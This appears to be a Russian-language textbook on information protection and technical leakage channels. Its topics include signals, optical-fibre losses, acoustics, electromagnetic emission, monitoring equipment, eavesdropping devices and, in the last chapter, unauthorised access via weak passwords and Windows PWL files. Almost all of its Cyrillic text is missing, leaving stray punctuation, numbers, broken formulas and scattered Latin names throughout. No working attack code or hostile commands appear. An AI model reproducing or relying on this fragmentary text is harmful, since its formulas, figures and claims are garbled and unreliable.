. , , , .
.



. ,

,
- , ,
,
, , . , , , ,
.

( ) , , ,
. , , , , .

, , .
,
.
,
, .
, , , ,
, ( ), , , . , ,
,

100

4.

, . .

, ,
.
.
, , .

, .
:
;
;
, ;
;
- ;
;
- ;
.
, .
, . , , .
:

( );
( );

( );

( ,
);
- (, , , ..).

,
(. 4.1). ,

. ,

101
, , .

. 4.1.


(. 4.2) :
;
;
.
, ,
. ,
, , . , .

.

102

4.

. 4.2.

( ), .
, ,

.
, , ,
,
.

, , , .
, , , .
,
, .
, (, ) c, c Fc, Vc
= Tc Fc c.

. ,

103
, , , .. ,
.
, ,
(, F ,
, ):

c ; Fc F; c

:
;
(, ) ;
(, , , , , ,
.);
(, , .);
;
( ,
..);
;
.
, :
;
: , , , ;
: , , .

, .
( ) F 3100
8 .
( ) , , . , . ,
. :

= log (/ ),

104

4.

, ,
.
,
.
,
, F, :

Cmax = F log (1 + / ) [. ./],


,
.


, , , .
, .. .
, . .
. . , , .
, .
, , ..
.
t.
m(t)

{ m } = { m(t) }.
, ..

t = k t.
t ,
:
,

t = F,
F .
, F .
, .

105

, . m(t), . , .
, .
.
B(x, y, t), x y ( ), B . (t = 1/25 ). x (
) , y . y
. ,

m(t) = m(iy, kt, vt),


v , i , k .
. ( ) . , ,
.. .
.
,

mi = [m/m + ] m,
, m .
, , m mi, = m mi.
, , , .
, , , , , .. .
.

f = f(a, b, c, ..., t),


. a, b, c, ... .
, ,
,

a = a0 + a = a0 + a m(t) = a0 (1 + (a/a0) m(t)),


a , a ,
. |m(t)| 1, a/a0 a, .
.
() a, a-, b b ..

106

4.

. , ,

f(t) = A sin (t + ),
A, .
, , , (), () .
, : , ,
. : -
(), - (), - () ().
: .
, , , ;
.
,
.
, , , (.. )
. , , -.
, .. , .
, . - . = 0 . .
- .
.
, , , ,
. .
, ,
.


, , .
, .. .
. ,
.
-
.

107


.
1. (t) (t) ,
(t) = (t) + (t). , (t) (t) .

S(i) = S(i) + S(i),


S(i) S(i) (t) (t).
:
+

2
2
2
E =
(t) dt +
(t) dt + 2
(t)x(t) dt ,
(t) dt = Ex + Ex+ 2Exx =

Exx .
Exx= 0, . :
+

R() =
(t) (t )dt = Rxx() + Rxx() + Rxx() + Rxx()

Rxx(0) + Rxx(0) = Exx


, ,
, (t) = (t) + (t), ,
,
. ,

R() = Rx() + Rx()


, Rx() , Rx() =

0. .
, X(t) = X(t) + X(t).
p(x) X(t) p(x)
p().
:

R() = Rxx() + Rxx() + Rxx() + Rxx() +


X(t) X(t) ,

Rxx() = 0 Rxx() = 0

R() = Rxx() + Rxx()

108

4.


+
j
G() =
R() e d = Gxx() + Gxx() + Gxx() + Gxx() +

X(t) X(t) ,

Gxx() = Gxx() = 0
. :

;
, ;
, .
,
.
T . , , ,
, .
,
.


, ,
, .
, , ,
():
- (), ();
, ;
- ;
;
.

, , ,
,
.

109

:
;
;
;
.

, ,
,
.
. , , . , , ..
, , ,
, ..
, , .
.
, :
, () .

, , ,
.

.
, .
,
, . , .
, ()
.
:
;
() ;
;
.
, .

110

4.

, , .

, , . , ,
. (), . ,
. ,
() .
, ,
,
()
() .
,
, , , , .
,
.
(r<<), ( ) ,
(r>>) ,
.
, ,
, .


() . .
(. 4.3).

111

. 4.3.


() , , (. 4.4).
, , , .

. 4.4.
, (, , ),
.
,
.

, .
, , ,
(). , -

112

4.

, (.. ).

. . , (o = 1/ LC) , .. .
, , .
,
, . , , 12 . -, ,
. - .
, ,
. , (,
) ,
, (. 4.5).

. 4.5.

:
, ( );
, ( ).

, :
;
..

, () ,
100 . , .

113

,
100 , 1 .
.
(. 4.1).
4.1.

, /
, ,
5
0,1
0,01

6
0,3
0,03

2,68
0,6
0,2

. 4.1 , 1 (
/ 1). .
, ..

= 20 log(4d/),
d , .
,
. . , . 1 3 , 1
300 .


-
()
: ,
(. 4.6).
,
.
. 4.6. ,


. .
.
, .
-

114

4.

( )
. 4.7.
, , , -
().
(),
:
(),
;
,
.
)
;
)
;
)
;
)
;
)
.
. 4.7.
.
P
W - , ( , . 4.8) ,

P(L) = P(0) eL, W(L) = W(0) eL

115

. 4.8. .
1550 , 1300 985
P(L) L; P(0)
; , :

1
P(0)
ln
L P(L)

/ ,

(/) =

10
P(0)
log
= 4.343 (1)
L
P(L)

.
4.9.

. 4.9.

116

4.

,
. , () ()
, (), () , (), , ().
0,5 / 1300
0,3 / 1550 ( ). 1400 , . . 4.9
AllWave, .
, :

= + = + + +
, , , , ().
(...) ()).

= ... + +
, , .
() OH () . 1 10
/.
OH-, 1400, 950 725 . OH- ( 1
), 0,5 / 1300
0,3 / 1550 , . 4.9. 1480 , OH- . .
, , , ,
.
:
;
.
, , :

117

= eE/Eo,
E0 , E .
.
4.10.
,
, . .
1,6 - , (. 4.11).

. 4.10.

118

4.

. 4.11. ,

. 4.12
, .
.

119

. 4.12.

:
;
;
.


1970 ., 99,9999%.
.
.

= + + + + +
, .
, (SiO2) , , . , ,
, . , . , . .
, - () - ()
, :

= +

120

4.

.
. :

= 2 .. + ... + ..,
.. , , ; ...
; .. , .
, (.) (.) :

= . + .

, , , ,
. ,
, .
,
. (, ), , .
-
, .

. = . + . + + .,
. , ; . , ; ,
; . , .
, :

= . + . + . + + .
, ,
.
, .
- ,
. ,
. .
, . ,

121

, . , .. .
, ,
, , .
, - :

= P. P. . P. P. min; .
P. (/); P. (/); . (/); .
.
, PL
:
P e( + + +
+ + + + )L L > 0

PL = 0
L=0
P0



, , , , (, )

. ,
.
, :
,
, -
;

;
, ,
, .

(. 5.1).
, ,
, , , .
,

.

123

. 5.1.
, . 5.2.



( ) , (.
5.3).

. ,
, , , , . () : ; ( ); .
(): , S, V
U.

124

5.

. 5.2.

. 5.3.

:
;
.

, .
() . , -

125


.
.
, .
= (0, 1, ..., m) (m ). i . 0 . ,
() : 0 , 1 .
, m ,
m + 1 . 0 - m .
. ,
.
, - .
,
.
, : ,
.
,
(. 5.4).
.
, .

, , .
, .
, , ,
.
, , , .. ( )
.

126

5.

. 5.4.
, ,

S = F1()
F1 , .. () . , .
S =
S0, S1, ..., Sm, S0 , . (x1, y1, z1) , t,
:

S = s(x1, y1, z1, , )


.
, i- :

Si = si( x1, y1, z1, t, ) exp(j0t),


si(x1, y1, z1, t, ) , i-
; , ; 0 .
, i- ,
i- . ,
.

127


. F2 , , :

Us (x, y, z, t, s, s) = F2 (s, x, y, z, t),

(5.1)

x, y, z, t - .

, ( ). (5.1) (
), .

( ). ,
.
, :

U(x, y, z, t) = Us (x, y, z, t, s, s) + Uv (x, y, z, t, v) + Un (x, y, z) ,


s, s ; v , .
U
.
.
, .


,
. ,
X1 = x1, y1, z1,
( ) x1o1y1, () :

e(x1, , ) = X10 e1 (x1, , ) + Y10 e2 (x1, , ),


e1, e2 ; X10, Y10 x1, y1, z1; X1 (. 5.5).

128

5.

. 5.5.

e1(2)(X1, t, , ) = k1(2) Et(t, ) Ex(x1, y1) A0 exp[j(0t + 0)],


Et(t, ) ,
; Ex(x1,
y1) ; A0, 0 , , ; 0 ;
k1(2) : k1 = | 1 | / | |
; k2 = | 2 | / | | ( )
.
F2 c ,
c. ,
+

U1(2) (X, t, , ) =
e1(2)(X1, t, , ) h(X X1, t t1) dX1 dt1,

h(x, y, z, t) ; X
= x, y, z .
e1(2)(x1, y1
, z1, t1, , ).

h(x, y, z) = h(x, y, z, t) h(x, y, z, t),


h h .

129

h .

h(x, y, z, t) = 1 exp[j0 (t R/c)] (t R/c),


R ; c ; 1
= 1/ 2R2 .
, , , , (x, y, z),
R , .
h .
. .

0 2.
, h, | h | h.

.
1. , , h .
, , .
2.
| h | , h (
) .
3. | h | h .

h(>1), .
e1(2), h h,

U1(2) (x, y, z, t) = k1(2) 1 A exp(j) F1(2)(v, ) E(t ) exp[j(0t kR1)] ,


R1 ; k = 2/ ; = kR1/0 ; F1(2) -

130

5.

; A , | h |; , h.
. 5.5, .

F1(2) (, ) =

1(2)(x1, y1) exp[jk(x1 sin v cos + y1 sin v sin )] dx1 dy1,


(
)

(A) .

,
. A :

U1(2) (t) =2

U1(2)(x, y, z, t)F1(2) (v', ') exp[jk(x sin v' cos ' + y1 sin ')] dx dy,
()

v', ' , ; 2 , v', ' v' = ' = 0.



, .
.

, :
;
;
, , .
.

:

i = 0
Uv (x, t, v) + n(x, t),
Ui (X, t) = U (x, t, , ) + U (x, t, ) + n(x, t), i = 1 ,
s
s
v
v
s1
Us1(x, t, s, s) ; Uv(x, t, v) ,
; n(x, t) , . i = 0 . .
,
, .
, ,

131

Usi(X, t, s, s) = Re[s Usi(X, t, s) exp (j2 f0t)],


Uv(X, t, v) = Re[v Uv(x, t) exp (j2 f0t)],

s, s, v , ; Usi(X, t) Uv(X, t) - ; f0 ,
.
, - Usi
Uv , , , .
.

. : , (). ,
(.. ).
.

( )
. , s0 v, .
()
. , . ,
,
.
, ,
,
() , .
,
, , . () .

( ).
. , () .

132

5.

,
:

Usi(X, t) (=) Re[Si],


Uv(X, t) (=) Re[V];

Usi(X, t, s) (=) Re[s Si],

Uv(X, t, v) (=) Re[v V];

Usi(X, t, s) (=) Re[s(k) Sih],


(h)

Uv(X, t, v) (=) Re[v(k) Vh],


(h)

(h) hm ; (=) ,
.




.
:
( H1) ( H0).
, , ,
, (pi = const),
(STi, S*i = const), (VT, S*i =
0) :

(i : Hi) Zi = max Zk
0km

S*

- - S; T
- -.
Z0
( H0) Z1 ( H1), .
, Z1, ,
. . , () , .

133


( )

Zi/j = c|Yi/j, |2; c|Yi/j, | ,


()

()

Yi/j, - V- - (=V) i- ; c ; () V.
Uj

Yi/j = UTj ri* (i=1),

n + vV,
j = 0,
=1
Uj =
N
M
vV + sSj, j = 1,
n + =1
=1
ri i- , N .
ri = rV, ri = S. , rV, , :

ri = Si ;

,
()

* V
ri = Si ST
i V 2N0 ;

()

c = eT ri* + 2N0 .

*
ST
i V
ri = Si
V;
VT V* + 2N0
T *
1 e ri
ri = e
r ;
=1 eTr* + 2N0 i
i
eT r*i
1

ri = e T *
ri;
=1 e ri + 2N0

,
:
, - ;

134

5.

Yi/j, ;
,
;
.

.

:

p = p11 =
(Z1/1) dZ1/1 ,
Zn

p = p10 =
(Z1/1) dZ1/0 ,
Zn

(Z1/1), (Z1/0) ,
; p = p11 ; p = p10 .

. s
S, V n .

Yi/j = (Uj V)T

S*
,
2N0

n + V,
j = 0,
Uj = n + V + S, j = 1.
s

,
.

2Nn 0 ,
Yi/j = n + S
s
2N0 ,

j = 0,
j = 1.



= (1, 2, ..., n)

E = ij

135
(5.2)


. , Z() , , , ( )

U(x, y, z, t) = Us (x, y, z, t, s, s) + Uv (x, y, z, t, s) + Un (x, y, z, t)


- -,
, Z()
, m . * = m
o

{M[Z(*)] + Z(*)} = 0,
1
o

{M[Z(*)] + Z(*)} = 0,
2

(5.3)

. . .
o

{M[Z(*)] + Z(*)} = 0,
2

Z()
M[Z()] Z ():
o

Z() = Z () + M[Z()]

(5.4)

M[Z(*)] = (1, , n) , (5.3)


n

(*i i)

j=0

M[Z()] +
Z(*) = 0,
1j
1

. . .
n

(*i j)

j=1

(5.5)
2

M[Z()] +

nj

Z(*) = 0,
n

Bij =

M[Z()], i =
Z(),
ij
i

= 1, ..., n , B = Bij

(5.6)

136

5.

(5.6), (5.5), * , Z(*) Z()


.
(5.5) B(* ) = ,
n

(i* i) = B1
ij j

(5.7)

j=1

1
ij = M[(i* i) (*j j)] = B1
ik Bje M[ke],
k,1

(5.8)

1
B1
ik B ,
B.
( = ) (5.8) :

d
2
M Z()
d

= 2
,
2
d
2 M[Z()]
d

(5.9)

, Z() (5.3) ,

= ()2 + 2 =

d'
2

M Z()
d

d2
2
2 M Z()
d

d o
2
M Z ()
d

+ 2
2
d
2 M[Z()]
d

(5.10)

(5.9) (5.10) ,
= . (5.10) . ()2 ( ).
2. .
,
. () = 0,
0 .
, (),
, q q, , ,

k =

137

q
1
=
q
q

() = 0,5 q ['()]2/[''()]2

k = 0,5 ['()]2/() [''()]2


k = 0,5 () [''()]


, ,
, .
(, ,
..), . , 16 20000 .
, .
(1 /2= 10 ).

, 0 = 2 105 /2

N = 20 lg

P
0

() , ; (/2).
, , .. 2
4 .
I ()
, I0 = 1012 /2, ()

N = 10 lg

I
I0

, ,
.
, 1000 , 2 10-5 /2.
,
. , ,

139

, . .
, .
70 1500 .
50008000 (. 6.1).
300400
(. 6.2).

. 6.1.

(. 6.1).

IF
= L0F 10 lg F ;
FI0
B1000 = 65 10 lg 1000 = 35
B = 10 lg

. 6.2.

6.1.

F,

B,

F,

350
45,5
175
.
500
41,5
350
,
1000
33,5
700
. ,
2000
25,5
1400
, c
4000
18,5
2800
( ) , , . ,
.
1000 3000 .
. , . ,
, ( ) , , .
, . 1000 3000 .
, ,
. -

140

6.

( ), . , , , .
, , , , , ..
. 6.3.

. 6.3.

. , , (),
. , , ,
, .
.
.
, , .
, , , . ,
(, , , , ..),
.
.
(. 6.4):

141

;
;
.

. 6.4.
, , ,
, , , , .

, ,
.

, . : , , .
,
. 6.5.

142

6.

. 6.5.

N = Lp = 20 lg

c
Lp []
, c = 210-510
[]
0
20


:
;
();
( ).
, :


90

=
0 sin 2 d
0


(, ) .

L L
, L = L
10

n 10

h,
b l .
1. l/h 5.
2. l/h 5 b/h > 4.
3. l/h > 5 b/h < 4.
,

R = 20 lg

143

1
[]

Q = 20 lg

, ,
. ,
, .
,
, , ,
. , .
, , , . ()
. , , . .

200300
46 ,
.

,
,
, , , - .
.
, .

() .
, ( ), , , ( , ..).
,
.
. () ,
(, , ), , ,
. ().

144

6.

.

.
, ,
.
- . - () (, , , ..). ( )
( ) , .
.
.
() , , .., , , . . ,
( ) , , , , ..
. , ,
, , ,
.
,
.
.
, ,
, (, ) () .
,
,
(, ) , ..
. (, ) ,

145

. .

. :
;
;
.
.
, (.. ) :
;
;
220 ;
;
;
;
.
, :
, ;
;
;
;
.



(, ), , .
, . ( 88108 ) .
.
.


. .
, , -

146

6.

, .. . ,
.., .
.

,
220
, . (220 )
50 3003500
, , 100250 , . , 500 .

, (, , ).
15 8 .
, .
(.. , , ), (
, ..).



.
(), , .. 20 . 150 .
, .


, . . ,
(), ,
. () , .. .
. , 30-60
( ) (-

147

DTMF-) ( ).
,
, .
, -
. , , . , , .


,

. , , .


, , . .
. () , , .
, , .
, ,
?
.
, ( ) L (. 6.6).
.
0. ,
.
, . 6.7, ,
, . , , .

148

6.

(
) 0.
0 .

. 6.6.

. 6.7.

, ,
.
.
, ,
,

.

,
30%. 370
40
100 . ,

. 6.8.
.
, (. 6.8).
.
, ..,
0 = /4, ,
.
, .
, (. 6.9).

149

. 6.9.
, ,
. , 0.
,
, .
, .
,
( ) . , ,
L, . , , .. .
L- . -
Q . 6.10.

. 6.10. -

, , (
) 0 = const , U,
.. .

150

6.


. , .
. .
, , .. ,
.

,
.
. , ,
. ( ), , ,
. ,
,
.


,
, . . 300 .
( 30 . ),
, (, ..).

()
. ,
530,
520. .
( ). 500 , 1 ,
8.
- ( ),
300 , 18.
60 100 .

151

( , ,
.), 1000 .
,
(), ,
.

.

, . , 300400 .
- 300 .
:
;
;
;
;
.

:
;
;
;
;
;
.


, ,
. , .


, .
, (. 6.11).

152

6.

. 6.11.
.. .

- . .

. (,
, ..) . . ,
.
:
;
, .
.
,
.
.
.
. .
, ,
.

153

. .
, ,
.
. ,
,
.

,
, , ,
,
, (. 6.12).

. 6.12.


, , ,
. . 6.13.
.

. 6.13.


() , , (. 6.14), .

154

6.

. 6.14.
. , ,
(),
.
. . , , .

(. 6.15).
.

. 6.15.

.
,
. :

E=

(t)
d
d

(N + N) = B0 S(t)
cos(t) + S0(t) cos0(t) ,
dt
dt
0(t)

N , ; N , ; B0 ; (t)
; 0(t) ; (t)
B0 ; 0(t) B0 ; S ; S0
.

155

, .
, , (
), .

(. 6.16). :
. 6.16.

E = L

S
dI
, L = k 40 N2 ,
I
dt

L ; k , ; I ; d ; 0 ; S
; N .
. ,
, , , .



,
.
(. 6.17) :

E = P,
, P .

VS0NS
,
d2Z

V ; S ();
0 ; N ; S
; d ; Z .
( )
.

156

6.

(. 6.18).
, ,
.

. 6.17.

. 6.18.


, , (23 /) , .

E = P, =

BIS
,
Z

, I ,
B; B ; S ,
; Z .

. 6.19.
, - .
, .
, 18286-88
( . ),

157

() (), . -
1006300 .
, , 202 . 78 ,
120 .
( , , ) , , ( ).
(78 120 ).



, U = 24
, 57 .
, (. 6.20), .

. 6.20.

, .. , ; ;
.




, , ,
() () ,
. .
,
() ,
.

() , , ,
.


,
, , (.
7.1). , ,
(Xc = 1/C), .
, .
,
, . 105
(100 )
0,01 .



, . ,
, .

159

. 7.1.
(,
.) ( ).
,
, ,
.
.
.


. , .


,
; , , (). , .
, .
, .



, .

160

7.

, , I (. 7.2), , Z U, I Z. , ,
. , ( ) .

. 7.2.
,
. (. 7.3).


(. 7.4) , ,
,
.. ,
.
, , , , .. .

. 7.3.

161

. 7.4.
. .

-

- , .
- ( 10 1 ), ( 1 770 ) ( 380 10 ) .
- :
;
Lo;
.
Ko
Lo L Lo + L:

Ko =

Lo L
Lo + L

. Ko
= 0,08, , . Ko = 0,16
, Ko = 0,32 .
, (, , , ,
- ..).
-

- , ,

. :
;
;
;
(, , TV).
.
- .
8.1.

163

. 8.1. -
.
:
;
;
.
,
, , . - ( ).
. ,
, .
, , , . , . (
), ( ) ( ). , ,
0,2
0,4 , . .

164 8. -


. ( )
. , OVS-35 .
.

. 8.2.

. 8.2.
/
WVL-90 . 8.3.

. 8.3. /
904 928 . - 300 900 ,
( WLLA-902), / 45 . 1025 . 50 , 20 .
23 6,3 9,5 , 23 70 12 .
OVS24, 36 35 69 .

165

. 3 ,
.

4-6,
.


.
, , , , , .
.
: . .

, ;
, , ,
, (. 9.1).
- , ,
. () (- ),
( ). - .
.
-
:
, , , ,
- - ,
;

167

. 9.1. -

,
, ;
,
;
;
,
;
.

-
:
;
;
;
.
: , ,
.
, , ;

, ..;
, .
, - , . ,

168 9. -

, ,
.
. , , ,
, , .
. ,
. , , , ,
-
.




, -
. ,
, .
.
, . .
( , ..). , , , ,
.
- .
, , .
, , , ,

,
.
, , , ,
, .

169

, , . .
, .
, , .

, ,
.
,
, ,
.

.
: - , -
.

10



, ,
. ,
,
, .

. (, ..).
, , .; . () ,
. .
, , , , , ,
..
,
, , . 6 . 300 22003200 . ( )
120200 .
:
( );
( , ).
, , :
1 ( );
2 ( );
3 ( ).

171


, , , , .
( ) ( , , ) (, )
. ,
.
()
(, , ), .

, ,
. , ,
-200 ( 200 /)
-50.
- .
. ,
, .
. , ,
.

, .
, , .
35, 110, 220 400 ,
( , ,
).
300 500 , 1000 .
( ).
,
/ -

172

10.

,
.
.

.
, , , ,
.

(, .), .
,
, .. () , , .

10-200 . .

. 175-3000 .
10-15 200
. , .

. , .
, :
;
;
.


, .
:
,
(. 10.1);
, , ;

173

, , .

, , .
,
, . ,
. , .
,
, (. 10.2 10.3).
. 10.1.

. 10.2.
: 1 ; 2
. 10.1 .
10.1.

174

10.

, 30

. 10.3.
, .
, , , , , (, ) -
. , , .
.
.
. ( 1 )
, 0,1 . 1 3 . 300 , 1
, .
:

D = 20 log

4d
,

d , .
,
.

175

, , , , .
:

Z
= Z0 =

0
= 376,8
0


(Z > Z0),
(Z
< Z0) .
, (r >> ). 1/6
(r /2 /6), 5 108 (100 ) 50
106 (1 ). , ,
.

III

11






, , - (),
().
, -.
, , ,
.
, ,
,
, .
, ,
, :
;
, , ;
(RAID, ..);
(, , );
/ (, , );
,
.
, . :
;

178

11.

(, );
() ;
-
().

, ,
,
. :
( - );
;
- ,
;
, ( );
, .
, , , .
: , , .
. , , :
( , , );
;
.
, , :
, ;

.
, , :
;
;
;
.

179

, .
10.1.

. 11.1.

:
10 100 ;
, ;
, , . 300 3,4 ;
, , , , . 20 100 .
,
. ,
, .
, , . . , , .
, .
.
, ,
().

180

11.


.
, .
,
( , , .. ).
.
, (
, ).

,
( ).
. , , .

.
.


, , . 11.2.

, ,
. , . ,
.
20% 70% .

181

. 11.2. ,
,
, ,
. ,
. . , , .

. : ; ; .
, . , .
, .
- ,
, .

182

11.


/ .
,
. /. , .
, . , , .. .
() . - /.
, , .
(). (
). , . .
,
, .

.



, , .

.
, . .
.

183

, .
, ,
, .
,
. , , .
.
,
, .
, . .
,
, , .



, 1000 , . -1000 --1000, -4.
, , . .

( ) 1-3 ,
.
.
-1000
,

184

11.

1-3 . --1000
,
12 .
, , , , -1000 -1000 , .


, , , , .
,
. , .
:
(, , ),
;
(, , ) , .
, , ,
,
.

, ,
415 .

:
,
;
;
;
.
, ,
. , , , -

185

- . :
(AR-8000);
;
;
-;
.

:
;

;
-.

.
500 1,9 .

()
.
()?
: .
, , . ,
.
(RS100, RS200, PTRD 014-017, APK) . . , , .
. . , : , 220 50 , ..
,
.


, ,
, . :

186

11.

.
(TRD, TRD 800) , .
,
.

,
. , ,
.
, ,
.

, .
10-5 2 10-4
2.
, ,
. , , 50400 . ,
. ,
220 50 .
10-4 10-1 2.
, . 1 2. : , , . ,
100 .
(), , d.
d/R, R . d = 0,1 2030 . Rmax = 1,0 1,8 .
. , , . .
515 .
, , .
: .
,
, . -

187

. , .
,
.
, , .
.
, .


. , .
N- , . ,
.
, (
).

- ,
.
,
. / 1000 .
,
. .
. .

, , , .
-.
, . . .

188

11.

. , :
, .
, .
, ,
S(f,0). -: (f,t) = S(f,t) S(f,0).
, [(f,t)] = [S(f,t)] [S(f,0)].
:

(f,t) > (t)


, , , .
, .
, , .
.
.
, , .
. .
: , , . . , , , . :
.


, ,
, . , , , , , , ,
..
, : ,
.

189

,
.

, . .

.


() , . , , , , .
. , -
. , , . , . ,
. .

.
, .

PTRD 018, 8025SB.
, , 16-
, .
,
.
1,5 , .



:
- ( 12.1.006-84);
();
.

190

11.

, , , .
, (
) - . , , , , .
( CISPR
, 29216-91) (. 11.1).
11.1.
,

, / (/)

30230

30 (31,6)

2301000

37 (70,8)

10
30 , ( ).

. , 0,1530

.
- .
,
, .

( ) . :
9 1000 ;
;
, ,
;
, ;
;
.
, , .
11.2.

191

11.2. ,

SMV-8

261000

Messelecktronik,

SMV-11

0,00930

"

SMV-41

0,0091000

"

301300

, .

ESH-2

0,00930

RHODE & SHWARZ,

ESV

201000

"

ESH-3

0,00930

"

ESVP

201300

"

(, ESH-3, ESVP, SMV-41) IEEE-488, , .


. 11.2 ,
(. 11.3).
11.3.

-82

3 10-4 1500

1 3

70 2,2

"

1 3
10-16 10-2

"

-84

-5

3 10 110
-4

-85

1 10 39,6 10

-86

25 1500

40 2,8
3 10-17 1

"

-87

1000 4000

10-12 0,1

"

-90
8568

1000 17440
-4

1 10 1500

10

-12

0,1

"

10

-16

Hewlett-Packard,

11.3

71100

1 10-4 2900

10-16 1

"

8566
2756

-4

1 10 22000
-2

1 10 3,25 10

10

-16

"

10

-16

Tektronix,

192

11.

2380-2383

1 10-4 4200

10-18 1

Marconi Instruments,

FSA

1 10-4 2000

10-17 1

RHODE & SHWARZ,

FSB

-4

1 10 5000

10

-17

"


.
.
:
; ,
. - ,
.
,
, , .
, .
:
: , ;
: , ;
;
.
. : , () ; .


, , , .
, .


( ) ( )
, , . .

193


, .
.
.

.



R2,
, / (. 11.3).
, () .
.
.
, .
/2, .
,
. , R2 ,

.
( .) . .

194

11.

. 11.3. R2
, .
, ,
. 11.4.

, . ,
:

1
1
H = rotA , E =
rot rotAa

aa
a

a I l ejkr
A =
,
4r
a ;

a ; I ; l
; r ( ); k .

195

. 11.4.
(Ar), (A) (A) :

Ar =

a
a
ejkr
ejkr
Il
cos, A =
Il
sin, A = 0
r
r
4r
4r

I l ikr 1 i k
e
+
cos
2a
r3 r2
I l ikr 1 i k k2
E = i
e
+

sin
4a
r3 r2 r
E = 0
Er = i

(11.1)
(11.2)

E = rEr + E.
E . E = /2 .
= /2. Er cos
, .

196

11.

a
,
a
1

= ,
f
a
a

=
0 =

(11.2) E :

1 ikr
i 2 3
e
2
r
4r
8
2r

E = 0 I l

(11.3)

.
:

(Em1 Em3) 2 + Em22,

Em =

Em1= 0

(11.4)

I l 1
Il 1
Il1
, E = 0
, E = 0
82 r3 m2
4 r2 m3
2 r


.
, .
, .


, |kr| << 1,
k = 2/ . , r << /(2). , |kr| << 1,
|kr| = 0. (11.1) (11.2) :

Er = i

Il 1
Il 1
cos , E = i
sin
3
2a r
4a r2

(11.5)

|kr| >> 1 r >> /(2). r


,

E = i

k2I l eikr
sin
4a r

(11.6)

197

,
r
. , (11.3) . :

Em = A

1 2 + 1 2,
42r3 r

2r2

A = 0 I l/2 .
. 11.5 11.6 50 200 .
, Em1, (11.5),
Em3, (11.6). ,
/(2), . , .

. 11.5.
50

. 11.6.
200



.
r ,
Em1
Em2. Em2 Em3
, Em1.

198

11.

Em1 = Em2
r = /(2). , r = /2.

3 10.
. 11.5 11.6 = 10.
() = 3,
(11.4) Em2 Em3 (Em1 Em2)
Em1 (Em3). , = 3
r = /(6), r = 3/2.

D=

2 1
2

3 D
/(2). , . ,

(11.4)
.
. 11.7

= 3. ( 16842-82)
, 1, 3 10
, .
. 11.7.
= 3

12

, , ,
. , , , ,
. , . , .
1. , , , -

.
.
2. , .
1
.
, . ,
. (, ..) . , , , .
3. :
() ;
(, );

( , ).
,
. , -

200 12.

, . ,
. ,
,
. . ,
, .
4. , -

, .
, , .
5. , (-

, , ..), , (, , , ..).
6. , ,

,
( , , ..). , , . ,
, .
, .

.


, () . : , , . ,
. -

201

.
, ,
.
,
, ,
. , , , , .


: , ,
, , ,
.
, , , .
() .
, , (, , , , , ),
. ,

.
(. 12.1).
,
. , .
, , , ,
.

202 12.

. 12.1.
: ,
, ,
- . , .
20 1 . , . . ,
, .
, , .
,
.
, . , . , .
, , , , 5070 . -
, , .
, ,
,
, .

203

, .
500 . ,
.

. ,
, .
. 810
. , , . 2
90 , .
, , .
, .
, , .
, .

, , .
:
;
( );
.
.

, () .

( ) ( ).
.
.
- . -

204 12.

, ,
.

. , - , ,
- .
.
.
,
.
, , , .
, , .
,
, : , , .
.

:
( );
( , . .).
:
( );
.
: .

:
- ;
.

: ,
( : 60170, 250290, 310335, 360
430 4701300 ).

:
;
;
.

205

():
;
.

, . . , .

, . 12.2, ,
, . 5070 .

. 12.2.
-3 . 4
-, 5 . 30 . L1 L2 6 25 -0,2. L3
6 0,5 ,
7 . 2 L4 .
-0,1.
.
(. 12.3) ,
.

206 12.

. 12.3.
: 6065. : 100 . 12,6 ( ), 1401 1401 30% . -0,1 .
6,6 4,5 , 12,6 8 .
403 416, 422.
. 4. L1 6
0,6 ( , ). 6,6 12,6 , -.
: . , . . .


. - , ,
. ( ).
,
1 .
.
, .. ,
.

, . , - .

207

. , , , . , . . ,
.
. , . .
. . ( )
, ,
( ). , ,
.
.
. ,

(. 12.4). ( )
( ). , .. . - ,
, .

. 12.4.
, ,
.
, .
(. 12.5).

208 12.

. 12.5.
( , . .) 150 .
, , , , .
.
. , .
,
, .
.
, . 12.6.

. 12.6.
.
Rn , . , 34 , . , Rn, , -

209

,
.
, . 12.7, . . .
, .

. 12.7.

,
.
.


, , .
, .
,

.

(. 12.8).

. 12.8.

210 12.


.


,
. 12.9.

(. 12.10).

. 12.9.

. 12.10.
, .
, (, ) .
.
:
;
, .
.
( ), , .. . , . 12.11, I1, I2 ; d1, d2, d3 d4
.
I1 ( ), I2
( ). , I, .
, ,
.
, , , L,
.

211

. 12.11.
,
(. 12.12), ,
.
() .
, , , . .

. 12.12.
(). , (. 12.13).

212 12.

. 12.13.

,
, 0,001% . , , 0,011,0 .
(.
12.14):

. 12.14.

, , ,
;
, , .




, .
37 10 . (. 12.1). , . 12.15.
12.1.

D,

D,

92,0

74,5

89,5

72,0

87,0

10

69,5

84,5

11

67,0

82,0

12

64,5

79,2

13

62,0

77,0

14

59,5

213

. 12.15.

20 8200 , 92 180 .

L () = 330 / 2F ()
, . .
7 , 180215 .


,
. - , . , , .
.
1000 .

214 12.

, .
. . , , .
.
1. (), -

.
2. , , .
3. , .

10-15
( ) 40-45,
. , .
4.
.
.
5. -

, .
6. -

.
( )
. 12.16.

. 12.16.

215

, .
,
. , , , , ,
, , , .
,
(, );
. .

,
( , , .).
, :
;
, ;
, ;
, ,
;

.
, , , (. 12.2).
12.2.

50

10

1000

200

,
.

216 12.

13


...

().
, , ,
, , .
,
. ,
, ,
, ,
, , ,
.
,
- ,
. , , , .
, .
, (), , .
. , - , (,
), , , , . ,
, () . ,
, , .

218

13. ...

, , ( , ) ,
, . ,
,
- .
, ,
,
, , , .
, . , ,
(, ). - , ,
, -
.
, , - - ,
- . , ,
(), .. , . , , ,
(social engineering).
( , ,
..) . , , ,
.
, , ,
, , . , , . ,
, ,
.


, : , ,

219

, ,
, (. 13.1).
.
, ()
, ,
( ). , ,
, , .
, , ,
, ,
.
, , , . ,
(Guest Windows NT/2000/XP), (Administrator
Windows NT/2000/XP, root Unix-), (SYSTEM Windows 2000/XP)
( Windows 2000/XP) .
,
.
, , . , , ,
, , . ,

, , .. ,
, .

220

13. ...

. 13.1.

, .
, , , .
, ,
, , .
, ( , , -

221

, ..) . , ,
,
,
.
,
.

( , ..), ( ,
..), ( , , , ..) ( , ..).


,
.
,
, , , ,
,
. , - , , . ,
,
,
, , .
, .
, , , .
, , , , . , , , ,
, , -

222

13. ...

. , . , -
, ,
( , ..). , ,
.
(, ,
), ( ), .
, . , , ,

,
.
.
, ,
. , , , . , , ,
,
. , , , Microsoft Word
, Windows .


. ,
, (, ) . ,
,
, , (
,
, ). , (,

223

). , .
. , , . ,
, 23
. , , , .
-, . , 1111
user .., .

. , Windows 98/ME
PWL, Windows, -
